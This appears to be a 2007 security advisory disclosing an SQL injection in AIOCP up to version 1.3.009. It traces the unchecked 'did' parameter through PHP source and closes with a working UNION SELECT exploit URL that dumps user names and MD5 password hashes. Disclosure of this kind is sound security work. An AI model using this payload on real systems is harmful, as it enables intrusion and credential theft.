<<< Date Index >>>     <<< Thread Index >>>

AIOCP SQL Injection Vulnerability



[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7@xxxxxxxxx
[i] Date: 9.1.2007

[i] Spec: Parameter 'did' is not checked before it's used in a SQL Query so you 
are able to inject some evil SQL code
    Example shows how to retrieve admin MD5 Hash Password
[i] Other infos: This works with magic_quotes_gpc = Off
                 If aiocp_downloads database is empty this 'll not work!
[i] Workaround: Edit source code to properly check 'did' parameter
    No official patch is yet available


[Analysis]

[Step 1] File: AIOCP/public/code/cp_downloads.php

  32  if (isset($_REQUEST['did'])) {
  33          //display single news
  34          F_display_single_download($_REQUEST['did']);
  35  }

Now check F_display_single_download() function...


[Step 2] File: AIOCP/shared/code/cp_functions_downloads.php

   680  function F_display_single_download($did) {
   681          global $l, $db, $selected_language, $aiocp_dp;
   682
   683          require_once('../../shared/config/cp_extension.inc');
   684          require_once('../config/cp_config.'.CP_EXT);
   685
   686          if(F_count_rows(K_TABLE_NEWS)) { //if the table is void (no 
items) display message
   687                  echo "<h2>".$l['m_databasempty']."</h2>";
   688          }
   689          else { //the table is not empty
   690                  $wherequery = "WHERE download_id='".$did."'";
   691                  F_show_fixed_downloads("", 1, $did, 0, $wherequery, "", 
"", 0, K_MAX_ROWS_PER_PAGE);
   692          }
   693  }

We notice that $did is passed into $wherequery but it isn't checked... now look 
F_show_fixed_downloads()


[Step 3] File AIOCP/shared/code/cp_functions_downloads.php

   698  function F_show_fixed_downloads($download_category, $viewmode, 
$selecteddownload, $downloaded, $wherequery,
$order_field, $orderdir, $firstrow, $rowsperpage) {
   699          global $l, $db, $selected_language, $aiocp_dp;
   700          require_once('../../shared/config/cp_extension.inc');
   701          require_once('../config/cp_config.'.CP_EXT);
   702  ?>
        [...]
   716  <!-- SHOW downloads ==================== -->
   717  <?php
   718  F_show_downloads($download_category, $viewmode, $selecteddownload, 
$downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage);
   719  ?>

Here $wherequery isn't checked so it's finally passed to "master" function... 
let's see what happens..


[Step 4] File AIOCP/shared/code/cp_functions_downloads.php

    28  function F_show_downloads($download_category, $viewmode, 
$selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, 
$firstrow, $rowsperpage) {
    29          global $l, $db, $selected_language;
    30          global $term, $submitted, $downloadssearch, $addterms;
    31
    32          require_once('../../shared/config/cp_extension.inc');
    33          require_once('../config/cp_config.'.CP_EXT);
    34          require_once('../../shared/code/cp_functions_page.'.CP_EXT);
    35          
require_once('../../shared/code/cp_functions_dynamic_pages.'.CP_EXT);
    36          require_once('../../shared/code/cp_functions_form.'.CP_EXT);
        [...]
    60          if (isset($download_category) AND 
(strlen($download_category)>0) AND ($download_category==0)) { //select all 
categories
    61                  $wherequery = "WHERE 1";        [A]
    62          }
        [...]
    64          if( (!$download_category) AND (!$wherequery) ) { // select 
category [B]
        [...]
    76          if($download_category) {        [C]
   106          if (!$wherequery) { [D]
   107                  $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ORDER BY 
".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage."";
   108          }
   109          else { [E]
   110                  $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." 
".$wherequery." ORDER BY ".$full_order_field." LIMIT 
".$firstrow.",".$rowsperpage."";
   111          }

Well let's analyze this few cases...

[A] Well we have not $download_category definied so this 'll not be executed
[B] We have definied $wherequery
[C] Same as point A
[D] Same as point B
[E] This is it!
    $wherequery is used in the SQL query without any check... so we can inject 
some evil SQL code...

[POC]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did=[sql]


[Exploit Example]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous

This 'll show user ID, Name and MD5 Hash Password of the first user after 
'Anonymous' user (usually the admin user)